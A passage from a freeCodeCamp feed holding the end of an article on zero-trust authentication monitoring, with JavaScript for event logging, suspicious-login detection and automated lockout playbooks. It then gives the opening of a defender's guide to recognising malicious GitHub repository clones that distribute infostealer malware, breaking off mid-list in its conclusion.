<p>Security monitoring provides the observability layer that’s essential for detecting, analyzing, and responding to threats in real time. A strong system must log every authentication event, highlight anomalies, and allow for rapid and automated response to threats. This phase further builds trust by constantly evaluating access patterns and acting on them when signals of risk emerge.</p>
<p>Logging is visibility at its base. These days, every authentication attempt, be it successful, failed, or suspicious, needs to be logged with exhaustive context. This very information helps forensic analysis, alerting, and compliance reporting.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Comprehensive authentication event logging</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AuthenticationLogger</span> </span>{
  <span class="hljs-keyword">async</span> logAuthenticationEvent(eventType, userId, context, result) {
    <span class="hljs-keyword">const</span> logEntry = {
      <span class="hljs-attr">timestamp</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>().toISOString(),
      eventType,
      userId,
      <span class="hljs-attr">sessionId</span>: context.sessionId,
      <span class="hljs-attr">ipAddress</span>: context.ipAddress,
      <span class="hljs-attr">userAgent</span>: context.userAgent,
      <span class="hljs-attr">deviceFingerprint</span>: context.deviceFingerprint,
      <span class="hljs-attr">location</span>: context.location,
      <span class="hljs-attr">authenticationMethod</span>: context.authMethod,
      <span class="hljs-attr">result</span>: result.success ? <span class="hljs-string">'success'</span> : <span class="hljs-string">'failure'</span>,
      <span class="hljs-attr">failureReason</span>: result.failureReason,
      <span class="hljs-attr">riskScore</span>: result.riskScore,
      <span class="hljs-attr">additionalFactorsRequired</span>: result.stepUpRequired,
      <span class="hljs-attr">processingTime</span>: result.processingTime,
      <span class="hljs-attr">correlationId</span>: context.correlationId
    };

    <span class="hljs-comment">// Store in multiple destinations for redundancy</span>
    <span class="hljs-keyword">await</span> <span class="hljs-built_in">Promise</span>.all([
      <span class="hljs-built_in">this</span>.writeToDatabase(logEntry),
      <span class="hljs-built_in">this</span>.sendToLogAggregator(logEntry),
      <span class="hljs-built_in">this</span>.updateRealTimeMetrics(logEntry)
    ]);

    <span class="hljs-comment">// Trigger real-time alerts for critical events</span>
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">this</span>.isCriticalEvent(logEntry)) {
      <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.triggerSecurityAlert(logEntry);
    }
  }

  isCriticalEvent(logEntry) {
    <span class="hljs-keyword">const</span> criticalConditions = [
      logEntry.result === <span class="hljs-string">'failure'</span> &amp;&amp; logEntry.failureReason === <span class="hljs-string">'brute_force_detected'</span>,
      logEntry.riskScore &gt; <span class="hljs-number">80</span>,
      logEntry.eventType === <span class="hljs-string">'impossible_travel_detected'</span>,
      logEntry.eventType === <span class="hljs-string">'account_takeover_suspected'</span>
    ];

    <span class="hljs-keyword">return</span> criticalConditions.some(<span class="hljs-function"><span class="hljs-params">condition</span> =&gt;</span> condition);
  }

  <span class="hljs-keyword">async</span> generateSecurityReport(userId, timeRange) {
    <span class="hljs-keyword">const</span> events = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getAuthenticationEvents(userId, timeRange);

    <span class="hljs-keyword">const</span> analysis = {
      <span class="hljs-attr">totalEvents</span>: events.length,
      <span class="hljs-attr">successfulLogins</span>: events.filter(<span class="hljs-function"><span class="hljs-params">e</span> =&gt;</span> e.result === <span class="hljs-string">'success'</span>).length,
      <span class="hljs-attr">failedAttempts</span>: events.filter(<span class="hljs-function"><span class="hljs-params">e</span> =&gt;</span> e.result === <span class="hljs-string">'failure'</span>).length,
      <span class="hljs-attr">uniqueDevices</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(events.map(<span class="hljs-function"><span class="hljs-params">e</span> =&gt;</span> e.deviceFingerprint)).size,
      <span class="hljs-attr">uniqueLocations</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(events.map(<span class="hljs-function"><span class="hljs-params">e</span> =&gt;</span> e.location?.country)).size,
      <span class="hljs-attr">averageRiskScore</span>: events.reduce(<span class="hljs-function">(<span class="hljs-params">sum, e</span>) =&gt;</span> sum + e.riskScore, <span class="hljs-number">0</span>) / events.length,
      <span class="hljs-attr">timePatterns</span>: <span class="hljs-built_in">this</span>.analyzeTimePatterns(events),
      <span class="hljs-attr">locationPatterns</span>: <span class="hljs-built_in">this</span>.analyzeLocationPatterns(events),
      <span class="hljs-attr">devicePatterns</span>: <span class="hljs-built_in">this</span>.analyzeDevicePatterns(events)
    };

    <span class="hljs-keyword">return</span> analysis;
  }
}
</code></pre>
<p>In the above code, the class logs detailed authentication events such as the approximate device and location from which it was initiated, the authentication methods used, and the risk score.</p>
<p>From a security perspective, it’s envisaged to generate security reports with the advantage of flagging critical events such as brute-force attempts or logins from suspicious geographies that can send real-time alerts.</p>
<p>Monitoring authentication events isn’t enough – the system must be able to interpret patterns and flag suspicious behavior. This detection system combines static rule-based checks with dynamic anomaly detection powered by machine learning. It identifies threats like brute-force attacks, credential stuffing, and unusual geographic access, then escalates them automatically for further action.</p>
<p>The following code performs real-time threat detection by analyzing recent authentication events and contextual data. Here's what it does, broken down clearly:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Suspicious activity detection system</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SuspiciousActivityDetector</span> </span>{
  <span class="hljs-keyword">constructor</span>() {
    <span class="hljs-built_in">this</span>.detectionRules = <span class="hljs-built_in">this</span>.initializeDetectionRules();
    <span class="hljs-built_in">this</span>.mlModel = <span class="hljs-built_in">this</span>.loadAnomalyDetectionModel();
  }

  <span class="hljs-keyword">async</span> analyzeActivity(userId, recentEvents, context) {
    <span class="hljs-keyword">const</span> suspiciousPatterns = [];

    <span class="hljs-comment">// Rule-based detection</span>
    <span class="hljs-keyword">const</span> ruleViolations = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.checkDetectionRules(userId, recentEvents);
    suspiciousPatterns.push(...ruleViolations);

    <span class="hljs-comment">// ML-based anomaly detection</span>
    <span class="hljs-keyword">const</span> anomalies = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.detectAnomalies(userId, recentEvents, context);
    suspiciousPatterns.push(...anomalies);

    <span class="hljs-comment">// Threat intelligence correlation</span>
    <span class="hljs-keyword">const</span> threatMatches = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.correlateThreatIntelligence(context);
    suspiciousPatterns.push(...threatMatches);

    <span class="hljs-keyword">if</span> (suspiciousPatterns.length &gt; <span class="hljs-number">0</span>) {
      <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.escalateSuspiciousActivity(userId, suspiciousPatterns);
    }

    <span class="hljs-keyword">return</span> {
      <span class="hljs-attr">suspicious</span>: suspiciousPatterns.length &gt; <span class="hljs-number">0</span>,
      <span class="hljs-attr">patterns</span>: suspiciousPatterns,
      <span class="hljs-attr">riskScore</span>: <span class="hljs-built_in">this</span>.calculateSuspiciousActivityRisk(suspiciousPatterns)
    };
  }

  initializeDetectionRules() {
    <span class="hljs-keyword">return</span> [
      {
        <span class="hljs-attr">name</span>: <span class="hljs-string">'brute_force_detection'</span>,
        <span class="hljs-attr">condition</span>: <span class="hljs-function">(<span class="hljs-params">events</span>) =&gt;</span> {
          <span class="hljs-keyword">const</span> failedAttempts = events.filter(<span class="hljs-function"><span class="hljs-params">e</span> =&gt;</span>
            e.result === <span class="hljs-string">'failure'</span> &amp;&amp;
            <span class="hljs-built_in">Date</span>.now() - <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(e.timestamp).getTime() &lt; <span class="hljs-number">300000</span> <span class="hljs-comment">// 5 minutes</span>
          );
          <span class="hljs-keyword">return</span> failedAttempts.length &gt;= <span class="hljs-number">5</span>;
        },
        <span class="hljs-attr">severity</span>: <span class="hljs-string">'high'</span>,
        <span class="hljs-attr">action</span>: <span class="hljs-string">'temporary_lockout'</span>
      },
      {
        <span class="hljs-attr">name</span>: <span class="hljs-string">'credential_stuffing'</span>,
        <span class="hljs-attr">condition</span>: <span class="hljs-function">(<span class="hljs-params">events</span>) =&gt;</span> {
          <span class="hljs-keyword">const</span> recentFailures = events.filter(<span class="hljs-function"><span class="hljs-params">e</span> =&gt;</span>
            e.result === <span class="hljs-string">'failure'</span> &amp;&amp;
            <span class="hljs-built_in">Date</span>.now() - <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(e.timestamp).getTime() &lt; <span class="hljs-number">3600000</span> <span class="hljs-comment">// 1 hour</span>
          );
          <span class="hljs-keyword">const</span> uniqueUsernames = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(recentFailures.map(<span class="hljs-function"><span class="hljs-params">e</span> =&gt;</span> e.username));
          <span class="hljs-keyword">return</span> uniqueUsernames.size &gt;= <span class="hljs-number">10</span>;
        },
        <span class="hljs-attr">severity</span>: <span class="hljs-string">'medium'</span>,
        <span class="hljs-attr">action</span>: <span class="hljs-string">'rate_limiting'</span>
      },
      {
        <span class="hljs-attr">name</span>: <span class="hljs-string">'suspicious_location_pattern'</span>,
        <span class="hljs-attr">condition</span>: <span class="hljs-function">(<span class="hljs-params">events</span>) =&gt;</span> {
          <span class="hljs-keyword">const</span> locations = events.map(<span class="hljs-function"><span class="hljs-params">e</span> =&gt;</span> e.location?.country).filter(<span class="hljs-built_in">Boolean</span>);
          <span class="hljs-keyword">const</span> uniqueCountries = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(locations);
          <span class="hljs-keyword">return</span> uniqueCountries.size &gt;= <span class="hljs-number">3</span> &amp;&amp; events.length &gt;= <span class="hljs-number">5</span>;
        },
        <span class="hljs-attr">severity</span>: <span class="hljs-string">'medium'</span>,
        <span class="hljs-attr">action</span>: <span class="hljs-string">'enhanced_verification'</span>
      }
    ];
  }

  <span class="hljs-keyword">async</span> detectAnomalies(userId, events, context) {
    <span class="hljs-keyword">const</span> features = <span class="hljs-built_in">this</span>.extractFeatures(events, context);
    <span class="hljs-keyword">const</span> anomalyScore = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.mlModel.predict(features);

    <span class="hljs-keyword">if</span> (anomalyScore &gt; <span class="hljs-number">0.7</span>) {
      <span class="hljs-keyword">return</span> [{
        <span class="hljs-attr">type</span>: <span class="hljs-string">'ml_anomaly'</span>,
        <span class="hljs-attr">score</span>: anomalyScore,
        <span class="hljs-attr">features</span>: features,
        <span class="hljs-attr">description</span>: <span class="hljs-string">'Machine learning model detected anomalous behavior pattern'</span>
      }];
    }

    <span class="hljs-keyword">return</span> [];
  }
}
</code></pre>
<p>This class applies multiple techniques to detect threats. It first evaluates authentication history using static rules for brute-force attempts, large-scale credential reuse, or location anomalies. It then passes <a target="_blank" href="https://www.fullstory.com/blog/behavioral-data/">behavioral data</a> through a trained ML model to spot subtle patterns missed by rules. If any suspicious pattern is detected, it returns a structured risk report and initiates escalation.</p>
<h3 id="heading-automating-threat-response">Automating Threat Response</h3>
<p>Most times, systems respond in real-time. Automated threat response follows predefined actions and includes locking an account, alerting users, or blocking an IP, among others, when a high-risk event occurs.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Automated threat response system</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AutomatedThreatResponse</span> </span>{
  <span class="hljs-keyword">constructor</span>() {
    <span class="hljs-built_in">this</span>.responsePlaybooks = <span class="hljs-built_in">this</span>.initializeResponsePlaybooks();
    <span class="hljs-built_in">this</span>.escalationPolicies = <span class="hljs-built_in">this</span>.loadEscalationPolicies();
  }

  <span class="hljs-keyword">async</span> processSecurityEvent(event) {
    <span class="hljs-keyword">const</span> threatLevel = <span class="hljs-built_in">this</span>.assessThreatLevel(event);
    <span class="hljs-keyword">const</span> applicablePlaybooks = <span class="hljs-built_in">this</span>.selectPlaybooks(event, threatLevel);

    <span class="hljs-keyword">const</span> responses = [];
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> playbook <span class="hljs-keyword">of</span> applicablePlaybooks) {
      <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.executePlaybook(playbook, event);
      responses.push(response);
    }

    <span class="hljs-keyword">if</span> (threatLevel === <span class="hljs-string">'critical'</span> || responses.some(<span class="hljs-function"><span class="hljs-params">r</span> =&gt;</span> !r.success)) {
      <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.escalateToHuman(event, responses);
    }

    <span class="hljs-keyword">return</span> {
      event,
      threatLevel,
      responses,
      <span class="hljs-attr">timestamp</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>()
    };
  }

  initializeResponsePlaybooks() {
    <span class="hljs-keyword">return</span> [
      {
        <span class="hljs-attr">name</span>: <span class="hljs-string">'brute_force_response'</span>,
        <span class="hljs-attr">triggers</span>: [<span class="hljs-string">'brute_force_detected'</span>],
        <span class="hljs-attr">actions</span>: [
          { <span class="hljs-attr">type</span>: <span class="hljs-string">'temporary_lockout'</span>, <span class="hljs-attr">duration</span>: <span class="hljs-number">900</span> },
          { <span class="hljs-attr">type</span>: <span class="hljs-string">'rate_limiting'</span>, <span class="hljs-attr">factor</span>: <span class="hljs-number">10</span> },
          { <span class="hljs-attr">type</span>: <span class="hljs-string">'notify_user'</span>, <span class="hljs-attr">method</span>: <span class="hljs-string">'email'</span> },
          { <span class="hljs-attr">type</span>: <span class="hljs-string">'log_security_event'</span>, <span class="hljs-attr">level</span>: <span class="hljs-string">'high'</span> }
        ]
      },
      {
        <span class="hljs-attr">name</span>: <span class="hljs-string">'account_takeover_response'</span>,
        <span class="hljs-attr">triggers</span>: [<span class="hljs-string">'impossible_travel'</span>, <span class="hljs-string">'behavior_anomaly_high'</span>],
        <span class="hljs-attr">actions</span>: [
          { <span class="hljs-attr">type</span>: <span class="hljs-string">'terminate_all_sessions'</span> },
          { <span class="hljs-attr">type</span>: <span class="hljs-string">'require_password_reset'</span> },
          { <span class="hljs-attr">type</span>: <span class="hljs-string">'notify_user'</span>, <span class="hljs-attr">method</span>: <span class="hljs-string">'multiple'</span> },
          { <span class="hljs-attr">type</span>: <span class="hljs-string">'freeze_account'</span>, <span class="hljs-attr">duration</span>: <span class="hljs-number">7200</span> }
        ]
      }
    ];
  }

  <span class="hljs-keyword">async</span> executePlaybook(playbook, event) {
    <span class="hljs-keyword">const</span> execution = {
      <span class="hljs-attr">playbookName</span>: playbook.name,
      <span class="hljs-attr">eventId</span>: event.id,
      <span class="hljs-attr">actions</span>: [],
      <span class="hljs-attr">success</span>: <span class="hljs-literal">true</span>
    };

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> action <span class="hljs-keyword">of</span> playbook.actions) {
      <span class="hljs-keyword">try</span> {
        <span class="hljs-keyword">const</span> result = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.executeAction(action, event);
        execution.actions.push(result);
        <span class="hljs-keyword">if</span> (!result.success) {
          execution.success = <span class="hljs-literal">false</span>;
          <span class="hljs-keyword">break</span>;
        }
      } <span class="hljs-keyword">catch</span> (err) {
        execution.success = <span class="hljs-literal">false</span>;
        execution.error = err.message;
      }
    }

    <span class="hljs-keyword">return</span> execution;
  }

  <span class="hljs-keyword">async</span> executeAction(action, event) {
    <span class="hljs-keyword">switch</span> (action.type) {
      <span class="hljs-keyword">case</span> <span class="hljs-string">'temporary_lockout'</span>:
        <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.lockoutUser(event.userId, action.duration);
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">success</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">type</span>: action.type };
      <span class="hljs-keyword">case</span> <span class="hljs-string">'notify_user'</span>:
        <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.notifyUser(event.userId, action.method, event);
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">success</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">type</span>: action.type };
      <span class="hljs-keyword">default</span>:
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">success</span>: <span class="hljs-literal">false</span>, <span class="hljs-attr">type</span>: action.type, <span class="hljs-attr">error</span>: <span class="hljs-string">'Unknown action'</span> };
    }
  }
}
</code></pre>
<p>Here, the system uses playbooks – predefined actions to be taken in response to threats. For example, locks user from further brute-force attempts for some time and sends them an email notification. Freezing the account and ending all sessions are some reactive measures you can take if suspicious behavior indicates a takeover. These measures ensure fast and consistent action to mitigate damage even before humans can get involved.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Zero-trust authentication creates a strong line of distinction going against classic perimeter-based security. It must be painstakingly planned, implemented in layers, and constantly improved. This article offers a structured path, from basic MFA to intelligent behavioral monitoring and automated threat response.</p>
<p>Complementing the improvement of security, zero-trust promises better user experience, compliance readiness, and decreased incident risk. When organizations maintain a perpetual position of zero trust, we can see an actual positive impact on their ability to detect, prevent, and respond to threats in real time.</p>
<p>To have long-term success with this approach, you’ll need to continuously monitor your setup, perform periodic assessments, and be responsive to evolving attack patterns. Feedback loops and performance data are essential to keep the system secure yet user-friendly.</p>
<p>As threats grow more sophisticated, so must our defenses. ZTA provides a durable foundation – ready to evolve with emerging technologies like adaptive biometrics and AI-driven risk engines. Organizations investing in it today will be better equipped to meet tomorrow’s security and usability demands.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Protect Your GitHub Repos Against Malicious Clones ]]>
                </title>
                <description>
                    <![CDATA[ The world of open-source development comes with various cyber threats. GitHub is still facing a type of attack that is ongoing since last year where attackers mirrored a huge number of repositories. S ]]>
                </description>
                <link>https://www.freecodecamp.org/news/protect-github-repos-from-malicious-clones/</link>
                <guid isPermaLink="false">68781639d48174ae283f8a5b</guid>
                
                    <category>
                        <![CDATA[ repo confusion ]]>
                    </category>
                
                    <category>
                        <![CDATA[ repository confusion ]]>
                    </category>
                
                    <category>
                        <![CDATA[ fake repos ]]>
                    </category>
                
                    <category>
                        <![CDATA[ GitHub ]]>
                    </category>
                
                    <category>
                        <![CDATA[ clone ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Malware ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Supply Chain Attack ]]>
                    </category>
                
                    <category>
                        <![CDATA[ malicious ]]>
                    </category>
                
                    <category>
                        <![CDATA[ checklist ]]>
                    </category>
                
                    <category>
                        <![CDATA[ phishing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ infostealer ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Prevention ]]>
                    </category>
                
                    <category>
                        <![CDATA[ best practices ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ brooklyn ]]>
                </dc:creator>
                <pubDate>Wed, 16 Jul 2025 21:14:33 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1752700407765/5fe06816-3d3a-40e4-8a4e-5cfe96a22368.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>The world of open-source development comes with various cyber threats. GitHub is still facing a type of attack that is ongoing since last year where attackers mirrored a huge number of repositories. So as it turns out…the clone wars are not over!</p>
<p>If you haven’t heard about what’s going on:</p>
<blockquote>
<p>GitHub is struggling to contain an ongoing attack that’s flooding the site with with millions of code repositories. These repositories contain obfuscated malware that steals passwords and cryptocurrency from developer devices. … The result is millions of forks with names identical to the original one.</p>
<p>–&nbsp;Dan Goodin, <a href="https://arstechnica.com/security/2024/02/github-besieged-by-millions-of-malicious-repositories-in-ongoing-attack/">Ars technica</a></p>
</blockquote>
<p>Because search engines and GitHub’s own search rankings favor recent activity, these cloned repositories often float to the top – then they lure unsuspecting developers into pulling code that may contain malware.</p>
<p>One of my <a href="http://github.com/hyperphantasia/miniature-fortnight">repositories</a> has been targeted by such an attack, prompting me to monitor it closely. This guide offers tips to spot malicious repository clones before they catch you off guard.</p>
<h2 id="heading-table-of-contents"><strong>Table of Contents</strong></h2>
<ol>
<li><p><a href="#heading-what-is-a-repository-confusion-attack">What is a Repository Confusion Attack?</a></p>
<ul>
<li><a href="#heading-supply-chain-attacks">Supply Chain Attacks</a></li>
</ul>
</li>
<li><p><a href="#heading-basic-mitigation-strategies">🛡️ Basic Mitigation Strategies</a></p>
<ul>
<li><p><a href="#heading-verify-the-contributors-profiles">Verify the contributors profiles</a></p>
</li>
<li><p><a href="#heading-search-for-clone-repositories">Search for clone repositories</a></p>
</li>
<li><p><a href="#heading-examine-the-commit-pattern">Examine the commit pattern</a></p>
</li>
<li><p><a href="#heading-examine-the-commit-history">Examine the commit history</a></p>
</li>
<li><p><a href="#heading-examine-the-commit-contents">Examine the commit contents</a></p>
</li>
<li><p><a href="#heading-compare-the-concerned-files">Compare the concerned files</a></p>
</li>
<li><p><a href="#heading-some-information-about-the-malware">Some information about the malware</a></p>
</li>
</ul>
</li>
<li><p><a href="#heading-action-time">Action Time</a></p>
</li>
<li><p><a href="#heading-conclusion">Conclusion</a></p>
</li>
<li><p><a href="#heading-more-resources">More Resources</a></p>
</li>
</ol>
<h2 id="heading-what-is-a-repository-confusion-attack"><strong>What is a Repository Confusion Attack?</strong></h2>
<p>A repository confusion attack involves:</p>
<ul>
<li><p>Cloning legitimate repositories.</p>
</li>
<li><p>Injecting malicious code into the clone.</p>
</li>
<li><p>Uploading the clone.</p>
</li>
<li><p>Spreading through various unaware actors.</p>
</li>
</ul>
<h3 id="heading-supply-chain-attacks"><strong>Supply Chain Attacks</strong></h3>
<p>If you search for repository confusion on the internet, you'll find out it's a type of <em>supply chain attack</em>.</p>
<p>A supply chain attack is an&nbsp;<em>indirect</em>&nbsp;threat where hackers try infiltrating a system by targeting a trusted third-party or software component, rather than attacking the primary target directly.</p>
<p>It's not the first time this has happened. Before GitHub was targeted, PyPI was attacked in 2023 with&nbsp;<a href="https://arstechnica.com/information-technology/2023/01/more-malicious-packages-posted-to-online-repository-this-time-its-pypi/">fake packages</a>&nbsp;posing as legitimate. These packages lured negligent pip users into downloading malicious payloads (containing in most cases&nbsp;<a href="https://en.wikipedia.org/wiki/Infostealer">infostealer malware</a>).</p>
<h2 id="heading-basic-mitigation-strategies"><strong>🛡️ Basic Mitigation Strategies</strong></h2>
<p><strong>Before</strong>&nbsp;using any repository, make sure you follow these steps and take these precautions.</p>
<h3 id="heading-verify-the-contributors-profiles"><strong>Verify the contributors profiles</strong></h3>
<p>That's a first check: if you see a rather empty GitHub profile&nbsp;– one without reputation that contains just one repository but with a lot of daily commits to it – well, that's a bit suspicious.</p>
<p>In the fake repository, the original author will be listed as a contributor, too. Check that profile. You should be able to find the legitimate repository and do some comparisons.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752335573817/c39aca11-2605-47a2-8a6b-aded16547783.png" alt="GitHub screenshot of a repository contributors" width="316" height="156" loading="lazy">

<p>In the above screenshot you can see solotech143, my evil doppelgänger <em>(he’s been taken down since)</em>.</p>
<h3 id="heading-search-for-clone-repositories"><strong>Search for clone repositories</strong></h3>
<p>You can do a GitHub search by repository name and sort the results by most recent first. Malicious repositories tend to appear at the top of the search results because they are updated more frequently. The original repository might be hidden deeper in the search results.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752335785307/943c6dd3-aa28-4d72-b63a-65736de06dcf.png" alt="GitHub clone search results." width="1172" height="314" loading="lazy">

<p>It’s like clone wars.</p>
<p><strong>This is where it’s dangerous:</strong> users generally click on the first few search results, and in that type of attack, you’re almost guaranteed to see the attacker’s fake repository at the top of the results. The attacker achieves that by giving the fake repository regular fresh commits (and sometimes even a few stars!).</p>
<p>In my case, the original repository is a submission for the HackaViz 2025 competition. Hackathons offer a good attack surface because, beyond the fact they draw niche communities, they are also time sensitive.</p>
<p>Now, let’s move forward a year and imagine Hackaviz 2026 is starting soon. The attacker has easily outranked the untouched original submission. Which repository is most likely to be visited when future competitors – unaware of the scam – will look for the previous submissions?</p>
<h3 id="heading-examine-the-commit-pattern"><strong>Examine the commit pattern</strong></h3>
<p>Here’s when things take a weird turn. Malicious clones are run by automated agents, so the commit history fits a pattern that is rather unusual for a human. Of course, you can automate for many legitimate reasons but… this will always follow a clear goal and there will always be a human-touch at some point. In this case, commits are not adding up.</p>
<p>Let's see how that looks in the screenshots below:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752335872381/1238dee9-3568-4d2b-88bb-f63258ffb045.png" alt="1238dee9-3568-4d2b-88bb-f63258ffb045" width="390" height="197" loading="lazy">

<p>Regular like a clock...</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752335891381/77f835fe-cccf-409f-85d7-789f918d4aa3.png" alt="A GitHub screenshot of a very active contribution activity.." width="764" height="602" loading="lazy">

<p>... and hyperactive!</p>
<h3 id="heading-examine-the-commit-history"><strong>Examine the commit history</strong></h3>
<p>You can’t! And that's the weird part. You're just able to see the last and the initial commit. So why is it hiding all of them? Do you like it when someone hide things from you?</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752336385127/6274dd87-0a97-4c38-8849-9d547b9edb22.png" alt="A github commits history screenshot for one day." width="1304" height="225" loading="lazy">

<p>For July 10th, we should be able to see 11 commits, where are the ten others?</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752336355084/4c7c343d-2000-4359-ae98-dcc98fb08732.png" alt="A github commits history screenshot for a whole period." width="1307" height="369" loading="lazy">

<p>Well, you can only check the first and last commit. That is not a lot for a repository that has more than 2000 commits registered.</p>
<h3 id="heading-examine-the-commit-contents"><strong>Examine the commit contents</strong></h3>
<p>Well, since I can always check the last commit, I checked some of them. They share the same pattern: the bot is constantly looping over the README file doing the same modifications. As you can see in the screenshot below, it’s updating the file with links to an infected release.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752336493881/e8b57b4c-4d13-44f8-bca6-bd8fbad2738c.png" alt="A github screenshot of commits to a malicious repository." width="1382" height="800" loading="lazy">

<p>Above you can see an AI agent stuck in the Readme loop of change.</p>
<p>Human edits are more varied. In a human-driven project, you will see a large mix of commits: feature commits, exploratory experiments, bug fixes, styling tweaks, and sometimes reverts. A bot clone will often just overwrite files, bump versions, or re-inject the same malicious payload repeatedly with no real contribution to the codebase.</p>
<h3 id="heading-compare-the-concerned-files"><strong>Compare the concerned files</strong></h3>
<p>This is where common sense comes handy. So, you have two README's:</p>
<ol>
<li><p>The&nbsp;<a href="https://web.archive.org/web/20250711182419/https://github.com/solotech143/miniature-fortnight/blob/main/README.md">first</a>&nbsp;consists of AI-generated content that is cluttered with emojis and low-value information. It is designed solely to entice you into clicking the download link of the release.</p>
</li>
<li><p>The <a href="https://github.com/hyperphantasia/miniature-fortnight/blob/main/README.md">other</a> follows <a href="https://www.freecodecamp.org/news/how-to-write-a-good-readme-file/">best practices</a> for creating a good README file. It is accurate and well-structured and functions as a valuable helper and explainer to the code. It also goes deep into the most important aspects of the project. This is usually a good sign that a repository is organic and genuine.</p>
</li>
</ol>
<h3 id="heading-some-information-about-the-malware"><strong>Some information about the malware</strong></h3>
<p>What do we have so far? Well, a suspicious link in a phishy, AI-generated README file that is consistent with a very suspicious pattern in the commit history.</p>
<p>Now, let’s have a closer look at that dubious release and let’s see what an online antivirus scanner might reveal about it.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752336589656/124aecf2-39e9-4158-9a06-f0fd59cbf8c1.png" alt="A  github screenshot of commits to a malicious repository." width="1216" height="404" loading="lazy">

<p>The malware is packed only in the miniature-fortnight-v1.7.6.zip release.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752336609780/7eaf7fc8-73f2-4d9d-b169-1d5c50ce84f2.png" alt="A malware analysis result." width="1317" height="757" loading="lazy">

<p>Above you can see the result of a scan with an online scanner.</p>
<p>The .zip file contains <strong>only</strong> four files:</p>
<ul>
<li><p>config.txt</p>
</li>
<li><p>launch.bat</p>
</li>
<li><p>lua51.dll</p>
</li>
<li><p>luajit.exe</p>
</li>
</ul>
<p>These files are <strong>totally unrelated</strong> to the source project (a Python data science project with Jupyter notebooks combined to a React app using three.js).</p>
<p>I will not go into the detail in this article. But for the curious ones, it's an infostealer malware (a malware that will exfiltrate your credentials and other precious information about your configuration) similar to the one described in&nbsp;<a href="https://www.trendmicro.com/en_us/research/25/c/ai-assisted-fake-github-repositories.html#">detail here</a>.</p>
<h2 id="heading-action-time"><strong>Action Time</strong></h2>
<p>If you discover a potentially malicious repository, here are some steps you can take:</p>
<ol>
<li><p>Document some evidence.</p>
</li>
<li><p>Notify the original repository maintainers.</p>
</li>
<li><p>Report the malicious clone to GitHub.</p>
</li>
</ol>
<p>Reporting a repository or a profile on GitHub is easy and fast. Go to the user’s profile page, click “Block or report” in the left sidebar and choose “Report abuse” in the pop-up. You will have to complete a short contact form with some details about the behavior before submitting. If needed, you can find more information on <a href="https://docs.github.com/en/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam#reporting-a-user">GitHub</a>.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>This is a description of just one attack, from the perspective of someone who found out that one of his repository had been targeted. There are likely cases of more sophisticated attacks. But the clone repository flood we can see on GitHuB is definitely massive low quality automation. Quantity over quality.<br>To be honest, I'm quite surprised algorithms crafted at GitHub didn't manage to spot this one.</p>
<p>This also raises questions related to AI.</p>
<ul>
<li><p>What happens when LLMs are trained on malicious content? That’s a more general question about&nbsp;<a href="https://arstechnica.com/information-technology/2024/01/ai-poisoning-could-turn-open-models-into-destructive-sleeper-agents-says-anthropic/">AI poisoning</a>.</p>
</li>
<li><p>A human might easily spot the patterns and the low quality content&nbsp;<em>for now</em>. But..</p>
<ul>
